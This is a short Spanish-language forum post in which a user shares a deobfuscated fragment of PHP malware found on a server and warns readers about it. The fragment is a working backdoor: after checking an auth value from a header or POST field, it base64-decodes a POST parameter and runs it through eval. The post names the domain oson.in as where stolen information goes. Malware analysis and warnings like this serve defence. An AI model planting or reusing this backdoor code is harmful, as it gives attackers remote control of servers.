Posible codigo malicioso

[Erick_MD9]

Hola,
Me entretuve un rato desofuscando ese código.
Les dejo una parte, solo para que tengamos presente lo que un codigo ofuscado puede contener.

Al ejecutarse el script, genera back doors para tener
un amplio control sobre el servidor atacado.
¡¡CUIDADO!!
Toda la info le llega a 'http://' ' oson' '.in' ¡¡Cuidado con este servidor!!

Código PHP:

if (@$_SERVER["HTTP_Y_AUTH"]==$QO000O or @$_POST["Y_AUTH"]==$QO000O){ 
            echo "\r\n"; 
            @output('versio', $IllIIl.'-'.$II1llI.'-php'); 
            if ($II1I11=base64_decode(@$_POST['EXECPHP'])){ 
                @eval($II1I11);
                echo "\r\n"; @output('out', 'ok'); 
            } 
            exit(0); 
        }
 

Saludos